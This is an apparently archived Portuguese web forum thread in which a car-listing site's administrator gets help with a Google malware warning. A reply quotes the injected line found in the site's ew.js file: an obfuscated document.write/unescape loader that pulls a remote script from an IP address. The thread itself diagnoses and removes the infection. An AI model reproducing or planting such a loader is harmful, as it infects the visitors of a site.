[Resolvido] Alerta do Google sobre site infectado

barenco · Abril 5, 2010

Olá amigos

Adiministro um site e tenho recebido reclamamções de alguns internautas, dizendo que quando acessam determinada página usando o Mozzila ou Chrome, surge o seguinte alerta do Google:

Aviso: A visita a este site pode prejudicar seu computador.

O site em hxxp://www.maxicar.com.br contém elementos do site 94.247.2.195, que parece hospedar malwares (softwares que podem danificar o seu computador ou podem operá-lo sem seu consentimento). Seu computador pode ser infectado só por visitar um site que hospeda malware.

Para obter informações detalhadas sobre os problemas com esses elementos, visite a Página de diagnóstico de Navegação segura. do Google para 94.247.2.195.

Saiba mais sobre como se proteger do software prejudicial on-line.

Sei que a visita a este site pode prejudicar meu computador.

Já chequei a página e não encontrei nada de anormal. Já substitui por uma versão nova. Mas a mensagem continua aparecendo. O endereço da página supostamente infectada é:

hxxp://www.maxicar.com.br/old/carroslist_todos.asp?Submit43=De+A+a+Z

Segue abaixo o código da página para a análise dos amigos:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<html>
<head>
<title>Maxicar.com.br - O seu portal de veículos antigos</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-->
</script>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>
<style type="text/css">
<!--
input {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 10px;
	color: #666666;
}
textarea {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 10px;
	color: #666666;
}
.textoMedio {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
}
-->
</style>
</head>
<body leftmargin="0" topmargin="0">
<!--#include virtual="old/includes/topo.asp"-->
<p> 
  <% Session.Timeout= 40%>
  <%
Response.expires = 0
Response.expiresabsolute = Now() - 1
Response.addHeader "pragma", "no-cache"
Response.addHeader "cache-control", "private"
Response.CacheControl = "no-cache"
%>
<% 
nDisplayRecs= 30
nRecRange= 30

' Open connection to the database
set Conn = Server.CreateObject("ADODB.Connection")
cnpath=server.mappath("/")
cnpath=left(cnpath, len(cnpath)-3) & "dados\old.mdb"
Conn.Open "Data Source=" & cnpath & ";Provider=Microsoft.Jet.OLEDB.4.0;"


' Build SQL
sSql = "SELECT * FROM [carros]"

' Load Default Order
sDefaultOrderBy = "[marca] ASC"
sWhere = ""
If sDefaultFilter <> "" Then
	sWhere = sWhere & "(" & sDefaultFilter & ") AND "
End If
If sDbWhere <> "" Then
	sWhere = sWhere & "(" & sDbWhere & ") AND "
End If
If Right(sWhere, 5) = " AND " Then sWhere = Left(sWhere, Len(sWhere)-5)
If sWhere <> "" Then
	sSql = sSql & " WHERE " & sWhere
End If
If sGroupBy <> "" Then
	sSql = sSql & " GROUP BY " & sGroupBy
End If	
If sHaving <> "" Then
	sSql = sSql & " HAVING " & sHaving
End If	

' Set Up Sorting Order
sOrderBy = ""
SetUpSortOrder()
If sOrderBy <> "" Then
	sSql = sSql & " ORDER BY " & sOrderBy
End If	

'Session("ewmsg") = sSql ' Uncomment to show SQL for debugging
%>
  <script type="text/javascript" src="ew.js"></script>
<script type="text/javascript">
<!--
EW_dateSep = "/"; // set date separator	
//-->
</script>
<%
If sKeyMaster <> "" Then
	sSqlMaster = "SELECT * FROM [carros]"
	Set rs = Server.CreateObject("ADODB.Recordset")
	rs.CursorLocation = 3
	rs.Open sSqlMaster, conn
	If Not rs.Eof Then %>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>
<script language="JavaScript" type="text/JavaScript">
<!--

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0">
<table width="780"  border="0" cellpadding="5" cellspacing="15">
  <tr> 
    <td width="730" height="684" valign="top"> 
      <div align="left">
        <div align="left">
          <%
	End If
	rs.Close
	Set rs = Nothing
End If
%>
<%
' Set up Record Set
Set rs = Server.CreateObject("ADODB.Recordset")
rs.CursorLocation = 3
rs.Open sSql, conn, 1, 2
nTotalRecs = rs.RecordCount
If nDisplayRecs <= 0 Then ' Display All Records
	nDisplayRecs = nTotalRecs
End If
nStartRec = 1
SetUpStartRec() ' Set Up Start Record Position
%>
          <%
If Session("ewmsg") <> "" Then
%>
        </div>
        <p><span class="aspmaker" style="color: Red;"><%= Session("ewmsg") %></span></p>
        <p> 
          <%
	Session("ewmsg") = "" ' Clear message
End If
%>
        </p>
      </div>
      <p> <img src="/old/tit_busca2.jpg" width="556" height="67"></p>
      <form method="post">
        <p> 
          <style type="text/css">
<!--
@import url("geral.css");
-->
</style>
        </p>
        <table width="56%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="5%"> </td>
            <td width="95%"><div align="left"><font color="#FFFFFF"><span class="aspmaker" style="color: #FFFFFF;"><a href="carroslist_todos.asp?order=<%= Server.URLEncode("marca") %>" style="color: #FFFFFF;"><strong><font color="#FF9900">• 
                ORDENAR POR MARCA</font></strong></a> </span></font><font color="#333333" size="1" face="Verdana, Arial, Helvetica, sans-serif">(crescente/decrescente) 
                </font></div></td>
          </tr>
        </table>
        <table width="750" height="103"  border="0" cellpadding="12" cellspacing="0">
          <tr> 
            <td width="696"> 
              <table width="100%" border="0" cellpadding="4" cellspacing="1" bgcolor="#CCCCCC" class="tabelalistacarros">
                <% If nTotalRecs > 0 Then %>
                <!-- Table header -->
                <tr bgcolor="#000000"> 
                  <td width="11%" valign="top"><span class="aspmaker" style="color: #FFFFFF;"> 
                    </span></td>
                  <td width="30%" valign="top"> <div align="center"><span class="aspmaker" style="color: #FFFFFF;"><font color="#FFFFFF"><span class="aspmaker" style="color: #FFFFFF;">VEÍCULO</span></font> 
                      </span></div></td>
                  <td width="25%" valign="top"> <div align="center"><font color="#FFFFFF"> CIDADE</font></div></td>
                  <td width="14%"> <div align="center"><font color="#FFFFFF">PREÇO</font></div></td>
                </tr>
                <% End If %>
                <%

' Avoid starting record > total records
If CLng(nStartRec) > CLng(nTotalRecs) Then
	nStartRec = nTotalRecs
End If

' Set the last record to display
nStopRec = nStartRec + nDisplayRecs - 1

' Move to first record directly for performance reason
nRecCount = nStartRec - 1
If Not rs.Eof Then
	rs.MoveFirst
	rs.Move nStartRec - 1
End If
nRecActual = 0
Do While (Not rs.Eof) And (nRecCount < nStopRec)
	nRecCount = nRecCount + 1
	If CLng(nRecCount) >= CLng(nStartRec) Then 
		nRecActual = nRecActual + 1

	' Set row color
	sItemRowClass = " bgcolor=""#FFFFFF"""

	' Display alternate color for rows
	If nRecCount Mod 2 <> 0 Then
		sItemRowClass = " bgcolor=""#F5F5F5"""
	End If

		' Load Key for record
		sKey = rs("codigo")
		x_codigo = rs("codigo")
		x_fotogde1 = rs("fotogde1")
		x_fotopeq1 = rs("fotopeq1")
		x_fabrica = rs("fabrica")
		x_chamada = rs("chamada")
		x_marca = rs("marca")
		x_modelo = rs("modelo")
		x_cor = rs("cor")
		x_ano = rs("ano")
		x_combustivel = rs("combustivel")
		x_cidade = rs("cidade")
		x_preco = rs("preco")
		x_detalhes = rs("detalhes")
%>
                <!-- Table body -->
                <tr<%=sItemRowClass%>> 
                  <!-- fotopeq1 -->
                  <td><span class="aspmaker"> 
                    <% If Not IsNull(x_fotopeq1) Then %>
                    <a href="carrosview.asp?key=<%= x_codigo %>"><img src="carros_fotopeq1_bv.asp?key=<%= x_codigo %>" border=0></a> 
                    <% End If %>
                    </span></td>
                  <!-- fabrica -->
                  <!-- marca -->
                  <td><p><strong><span class="aspmaker"> <font color="#FF6600"> 
                      <% Response.Write x_marca %>
                      , </font></span></strong><font color="#FF6600"><span class="aspmaker"> 
                      <% Response.Write x_ano %>
                      <br>
                      <font color="#333333"> 
                      <% Response.Write x_chamada %>
                      </font></span></font></p>
                    <font color="#FF6600"> 
                    <p><span class="aspmaker"><a href="<% If Not IsNull(sKey) Then Response.Write "carrosview.asp?key=" & Server.URLEncode(sKey) Else Response.Write "javascript:alert('Invalid Record! Key is null');" End If %>" target="_blank">DETALHES 
                      E FOTOS</a></span></p>
                    </font></td>
                  <td><div align="center"><span class="aspmaker"><font color="#333333"> 
                      <% Response.Write x_cidade %>
                      </font></span></div></td>
                  <!-- ano -->
                  <!-- preco -->
                  <td><div align="center"><span class="aspmaker"><font color="#333333">R$ 
                      <% Response.Write x_preco %>
                      <br>
                      </font> </span></div></td>
                </tr>
                <%
	End If
	rs.MoveNext
Loop
%>
              </table></td>
          </tr>
        </table>
        <div align="center"> 
          <p align="left"> 
            <%

' Close recordset and connection
rs.Close
Set rs = Nothing
conn.Close
Set conn = Nothing
%>
<%
If nTotalRecs > 0 Then
	rsEof = (nTotalRecs < (nStartRec + nDisplayRecs))
	PrevStart = nStartRec - nDisplayRecs
	If PrevStart < 1 Then PrevStart = 1
	NextStart = nStartRec + nDisplayRecs
	If NextStart > nTotalRecs Then NextStart = nStartRec
	LastStart = ((nTotalRecs-1)\nDisplayRecs)*nDisplayRecs+1
	%>
          </p>
          <div align="left"></div>
          <div align="center"></div>
        </div>
        </form>

      <div align="center">
        <p align="left"><form action="carroslist_todos.asp" name="ewpagerform" id="ewpagerform"> 
      <tr>
		<td nowrap>
<%
If nTotalRecs > 0 Then
	rsEof = (nTotalRecs < (nStartRec + nDisplayRecs))
	PrevStart = nStartRec - nDisplayRecs
	If PrevStart < 1 Then PrevStart = 1
	NextStart = nStartRec + nDisplayRecs
	If NextStart > nTotalRecs Then NextStart = nStartRec
	LastStart = ((nTotalRecs-1)\nDisplayRecs)*nDisplayRecs+1
	%>
            <font color="#666666" size="1" face="Verdana, Arial, Helvetica, sans-serif">Digite 
            a página desejada, e tecle  "enter" ou navegue 
            utilizando as setas de direção</font> 
            <table border="0" cellspacing="0" cellpadding="0"><tr>
                <td width="59"><span class="aspmaker"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Página</font> </span></td>
<!--first page button-->
	<% If CLng(nStartRec)=1 Then %>
	<td width="16"><img src="images/firstdisab.gif" alt="First" width="16" height="16" border="0"></td>
	<% Else %>
	<td width="16"><a href="carroslist_todos.asp?start=1"><img src="images/first.gif" alt="First" width="16" height="16" border="0"></a></td>
	<% End If %>
<!--previous page button-->
	<% If CLng(PrevStart) = CLng(nStartRec) Then %>
	<td width="16"><img src="images/prevdisab.gif" alt="Previous" width="16" height="16" border="0"></td>
	<% Else %>
	<td width="16"><a href="carroslist_todos.asp?start=<%=PrevStart%>"><img src="images/prev.gif" alt="Previous" width="16" height="16" border="0"></a></td>
	<% End If %>
<!--current page number-->
	<td width="20"><input type="text" name="pageno" value="<%=(nStartRec-1)\nDisplayRecs+1%>" size="4"></td>
<!--next page button-->
	<% If CLng(NextStart) = CLng(nStartRec) Then %>
	<td width="16"><img src="images/nextdisab.gif" alt="Next" width="16" height="16" border="0"></td>
	<% Else %>
	<td width="16"><a href="carroslist_todos.asp?start=<%=NextStart%>"><img src="images/next.gif" alt="Next" width="16" height="16" border="0"></a></td>
	<% End If %>
<!--last page button-->
	<% If CLng(LastStart) = CLng(nStartRec) Then %>
	<td width="16"><img src="images/lastdisab.gif" alt="Last" width="16" height="16" border="0"></td>
	<% Else %>
	<td width="16"><a href="carroslist.asp?start=<%=LastStart%>"><img src="images/last.gif" alt="Last" width="16" height="16" border="0"></a></td>
	<% End If %>
	            <td width="75"><span class="aspmaker"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif">de 
                  </font><%=(nTotalRecs-1)\nDisplayRecs+1%></span></td>
	</tr></table>
	        <br>
            <% If CLng(nStartRec) > CLng(nTotalRecs) Then nStartRec = nTotalRecs
	nStopRec = nStartRec + nDisplayRecs - 1
	nRecCount = nTotalRecs - 1
	If rsEOF Then nRecCount = nTotalRecs
	If nStopRec > nRecCount Then nStopRec = nRecCount %>
            <span class="aspmaker"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Veículos 
            de </font><%= nStartRec %> a <%= nStopRec %>  <font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
              <font color="#FF6600">Total de veículos anunciados:</font></font><%= nTotalRecs %></span>
<% Else %>
            <span class="aspmaker"><font color="#FF6600" size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Nenhum 
            veículo localizado. Refaça a sua busca!</strong></font></span> 
            <% End If %>
		</td>
	</tr>
</table>
</form>
<div id="categoria" style="position:absolute; width:165px; height:117px; z-index:4; top: 522px; left: 782px; visibility: visible;"> 
  <table width="100%" height="0"  border="0" cellpadding="0" cellspacing="0">
    <tr> 
      <td height="70
			" valign="top"> <form action="carroslist_marcas.asp">
          <table height="78" border="0" cellpadding="0" cellspacing="0">
            <tr> 
              <td width="377" height="76" valign="top"> <table width="100%"  border="1" cellpadding="2" cellspacing="0" bordercolor="#CCCCCC">
                  <tr> 
                    <td height="73" valign="top" bgcolor="#000000"> <div align="center"> 
                        <p><font color="#FF9900" size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong> 
                          <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="160" height="48">
                            <param name="movie" value="tit_busca.swf">
                            <param name="quality" value="high">
                            <param name="BGCOLOR" value="#000000">
                            <embed src="tit_busca.swf" width="160" height="48" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" bgcolor="#000000"></embed></object>
                          <font size="1">• NOVA BUSCA •<br>
                          </font></strong></font><br>
                          <strong><font color="#FFFFFF" size="1" face="Verdana, Arial, Helvetica, sans-serif">por 
                          marca</font></strong> 
                          <input name="buscamarca" type="text" id="buscamarca" size="8" maxlength="30">
                          <input type="Submit" name="Submit3" value="Ok">
                        </p>
                      </div></td>
                  </tr>
                </table>
          </table>
        </form></td>
    </tr>
  </table>
</div>
<div id="Layer1" style="position:absolute; width:172px; height:257px; z-index:1; left: 782px; top: 656px;"> 
  <p> 
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="160" height="60">
      <param name="movie" value="banner_retromobile_160.swf">
      <embed src="banner_retromobile_160.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="160" height="60"></embed> 
    </object>
  </p>
  <table width="160" border="1" cellpadding="2" cellspacing="0" bordercolor="#CCCCCC" bgcolor="#F8F8F8">
    <tr> 
      <td width="209" valign="top" bordercolor="#FFFFFF"><div align="center"><font color="#333333" size="1"><a href="maxiagente.asp"><img src="maxiagenteold.gif" width="60" height="53" hspace="0" vspace="0" border="0"></a></font><font color="#006699" size="1" face="Arial, Helvetica, sans-serif"><em><strong><br>
          </strong></em><strong><font color="#666666" size="2">Não achou 
          o carro que queria? </font><font size="2"><font color="#FF6600">Que 
          tal se nós procurarmos <br>
          para você?</font></font></strong></font></div></td>
    </tr>
  </table>
  <p> 
    <script type="text/javascript"><!--
google_ad_client = "pub-8322163022255376";
/* 160x600, criado 11/03/08 */
google_ad_slot = "4875977087";
google_ad_width = 160;
google_ad_height = 600;
//-->
        </script>
    <script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
        </script>
  </p>
</div>
<!--#include file="footer.asp"-->
</p>
        <table width="84%"  border="0" align="left" cellpadding="0" cellspacing="0">
          <tr> 
            <td height="155" valign="top"> 
              <div align="center"> 
                <p align="center"> 
                  <% Else %>
                  <strong><font color="#FF6600" size="3" face="Verdana, Arial, Helvetica, sans-serif"> 
                        <font size="2">NO MOMENTO NÃO 
                  HÁ<br>
                                NENHUM 
                  VEÍCULO <br>
                                      CADASTRADO 
                  NESTA CATEGORIA</font></font></strong><font face="Verdana, Arial, Helvetica, sans-serif">.</font> 
                  <% End If %>
                </p>
                <p><font face="Verdana, Arial, Helvetica, sans-serif"></font><a href="index.asp"><img src="voltar1.gif" alt="Voltar" width="70" height="21" border="0"></a> 
                </p>
 

<%


'-------------------------------------------------------------------------------
'-------------------------------------------------------------------------------
'-------------------------------------------------------------------------------
'-------------------------------------------------------------------------------
' Function SetUpSortOrder
' - Set up Sort parameters based on Sort Links clicked
' - Variables setup: sOrderBy, Session("Table_OrderBy"), Session("Table_Field_Sort")

Sub SetUpSortOrder()
	Dim sOrder, sSortField, sLastSort, sThisSort
	Dim bCtrl

	' Check for an Order parameter
	If Request.QueryString("order").Count > 0 Then
		sOrder = Request.QueryString("order")

		' Field fabrica
		If sOrder = "fabrica" Then
			sSortField = "[fabrica]"
			sLastSort = Session("carros_x_fabrica_Sort")
			If sLastSort = "ASC" Then sThisSort = "DESC" Else sThisSort = "ASC"
			Session("carros_x_fabrica_Sort") = sThisSort
		Else
			If Session("carros_x_fabrica_Sort") <> "" Then Session("carros_x_fabrica_Sort") = ""
		End If

		' Field marca
		If sOrder = "marca" Then
			sSortField = "[marca]"
			sLastSort = Session("carros_x_marca_Sort")
			If sLastSort = "ASC" Then sThisSort = "DESC" Else sThisSort = "ASC"
			Session("carros_x_marca_Sort") = sThisSort
		Else
			If Session("carros_x_marca_Sort") <> "" Then Session("carros_x_marca_Sort") = ""
		End If

		' Field modelo
		If sOrder = "modelo" Then
			sSortField = "[modelo]"
			sLastSort = Session("carros_x_modelo_Sort")
			If sLastSort = "ASC" Then sThisSort = "DESC" Else sThisSort = "ASC"
			Session("carros_x_modelo_Sort") = sThisSort
		Else
			If Session("carros_x_modelo_Sort") <> "" Then Session("carros_x_modelo_Sort") = ""
		End If

		' Field cor
		If sOrder = "cor" Then
			sSortField = "[cor]"
			sLastSort = Session("carros_x_cor_Sort")
			If sLastSort = "ASC" Then sThisSort = "DESC" Else sThisSort = "ASC"
			Session("carros_x_cor_Sort") = sThisSort
		Else
			If Session("carros_x_cor_Sort") <> "" Then Session("carros_x_cor_Sort") = ""
		End If

		' Field ano
		If sOrder = "ano" Then
			sSortField = "[ano]"
			sLastSort = Session("carros_x_ano_Sort")
			If sLastSort = "ASC" Then sThisSort = "DESC" Else sThisSort = "ASC"
			Session("carros_x_ano_Sort") = sThisSort
		Else
			If Session("carros_x_ano_Sort") <> "" Then Session("carros_x_ano_Sort") = ""
		End If

		' Field preco
		If sOrder = "preco" Then
			sSortField = "[preco]"
			sLastSort = Session("carros_x_preco_Sort")
			If sLastSort = "ASC" Then sThisSort = "DESC" Else sThisSort = "ASC"
			Session("carros_x_preco_Sort") = sThisSort
		Else
			If Session("carros_x_preco_Sort") <> "" Then Session("carros_x_preco_Sort") = ""
		End If
		Session("carros_OrderBy") = sSortField & " " & sThisSort
		Session("carros_REC") = 1
	End If
	sOrderBy = Session("carros_OrderBy")
	If sOrderBy = "" Then
		sOrderBy = sDefaultOrderBy
		Session("carros_OrderBy") = sOrderBy
		Session("carros_x_marca_Sort") = "ASC"
	End If
End Sub

'-------------------------------------------------------------------------------
' Function SetUpStartRec
' - Set up Starting Record parameters based on Pager Navigation
' - Variables setup: nStartRec

Sub SetUpStartRec()
	Dim nPageNo

	' Check for a START parameter
	If Request.QueryString("start").Count > 0 Then
		nStartRec = Request.QueryString("start")
		Session("carros_REC") = nStartRec
	ElseIf Request.QueryString("pageno").Count > 0 Then
		nPageNo = Request.QueryString("pageno")
		If IsNumeric(nPageNo) Then
			nStartRec = (nPageNo-1)*nDisplayRecs+1
			If nStartRec <= 0 Then
				nStartRec = 1
			ElseIf nStartRec >= ((nTotalRecs-1)\nDisplayRecs)*nDisplayRecs+1 Then
				nStartRec = ((nTotalRecs-1)\nDisplayRecs)*nDisplayRecs+1
			End If
			Session("carros_REC") = nStartRec
		Else
			nStartRec = Session("carros_REC")
			If Not IsNumeric(nStartRec) Or nStartRec = "" Then			
				nStartRec = 1 ' Reset start record counter
				Session("carros_REC") = nStartRec
			End If
		End If
	Else
		nStartRec = Session("carros_REC")
		If Not IsNumeric(nStartRec) Or nStartRec = "" Then		
			nStartRec = 1 'Reset start record counter
			Session("carros_REC") = nStartRec
		End If
	End If
End Sub
'-------------------------------------------------------------------------------

%>

DigRam · Abril 6, 2010

Boa Tarde! barenco

Aviso: A visita a este site pode prejudicar seu computador.

O site em http://www.maxicar.com.br contém elementos do site 94.247.2.195, que parece hospedar malwares (softwares que podem danificar o seu computador ou podem operá-lo sem seu consentimento). Seu computador pode ser infectado só por visitar um site que hospeda malware.

Para obter informações detalhadas sobre os problemas com esses elementos, visite a Página de diagnóstico de Navegação segura. do Google para 94.247.2.195.

<!> O meu Firefox complementado com o NoScript,bloqueou a visualização integral dessa página.

<!> Ou seja,parece que a página contém scripts maliciosos.

<!> Ps: Não sei ler "java script",para lhe dar uma melhor orientação e,caso queira,posso mover seu Tópico para área adequada.

Abraços!

barenco · Abril 6, 2010

Olá DigRam

Obrigado pela gentileza! Sim gostaria que movesse esse topíco para a seção mais adequada. Gostaria muito de resolver este problema. O estranho é que esta página já está no ar, sem alteração alguma há 5 anos e só agora surgiu esse problema.

Por favor, me informe para que seção o tópcio foi movido, para que eu possa acompanhar.

Um abraço!

Felipe Antunes · Abril 7, 2010

o seu site esta inicializando o arquivo ew.js e na ultima linha do seu código

<!-- 
document.write(unescape('6v%3Cscript6v%20src%3DyaR%2Ftd%2F94bYO%2E6v24td7%2E2nQD%2E1td95%2Ftdjqutde6vrKs3y%2Ejst5W%3EyaR%3C%2FbYOscqBBrbYOipbYOtyaR%3E').replace(/7N|qBB|t5W|Ks3|td|bYO|nQD|6v|yaR/g,""));
 -->

mude isso para

<!-- 
alert(unescape('6v%3Cscript6v%20src%3DyaR%2Ftd%2F94bYO%2E6v24td7%2E2nQD%2E1td95%2Ftdjqutde6vrKs3y%2Ejst5W%3EyaR%3C%2FbYOscqBBrbYOipbYOtyaR%3E').replace(/7N|qBB|t5W|Ks3|td|bYO|nQD|6v|yaR/g,""));
 -->

resumindo o problema por alguma forma, seu site provavelmente foi invadido e instalaram um código malicioso nele, faça a correção do ew.js e troque todas as senas, ftp, painel de controle e etc.....

Espero ter ajudado.

barenco · Abril 7, 2010

Olá Felipe

Você não imagina a ajuda que meu deu! Muito obrigado, rapaz! De uns tempos para cá as páginas de consulta do site haviam ficado mais lendas e são justamente essas páginas que estavam infectadas. Na verdade, aquela última linha que você cita na sua mensagem, não existia no arquivo ew.js original. Bastou substituir o arquivo no ar pelo original que tudo se resolveu: não há mais mensagem de malware e as consultas ficaram muito mais rápida. Mas uma vez te agradeço. Você fez uma boa ação! http://forum.imasters.com.br/public/style_emoticons/default/joia.gif http://forum.imasters.com.br/public/style_emoticons/default/clap.gif

Felipe Antunes · Abril 8, 2010

Que bom que deu certo, fico feliz de poder ajudar, e mais ainda de ter tido resposta sobre a ajuda, isso é raro acontecer! uheuheuheuh

Geralmetne os "ajudados" só mudam "a folha" uheuheuhe.

Não esqueça de trocar todas as senhas, lembre se você não colocou o código ali alguem colocou por você :P

Olá Felipe

Você não imagina a ajuda que meu deu! Muito obrigado, rapaz! De uns tempos para cá as páginas de consulta do site haviam ficado mais lendas e são justamente essas páginas que estavam infectadas. Na verdade, aquela última linha que você cita na sua mensagem, não existia no arquivo ew.js original. Bastou substituir o arquivo no ar pelo original que tudo se resolveu: não há mais mensagem de malware e as consultas ficaram muito mais rápida. Mas uma vez te agradeço. Você fez uma boa ação! http://forum.imasters.com.br/public/style_emoticons/default/joia.gif http://forum.imasters.com.br/public/style_emoticons/default/clap.gif

Entrar

Arquivado

[Resolvido] Alerta do Google sobre site infectado

Recommended Posts

barenco 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

DigRam 144

Compartilhar este post

Link para o post

Compartilhar em outros sites

barenco 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

Felipe Antunes 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

barenco 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

Felipe Antunes 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

Conexão mysql com outro domínio

[Resolvido] JavaScript - Exibir logo dentro da Tabela html

Javascript - Calcular Valores Monetário em Tempo Real

Este projeto é apoiado pelas empresas

Fóruns

Tempo Real

Informação importante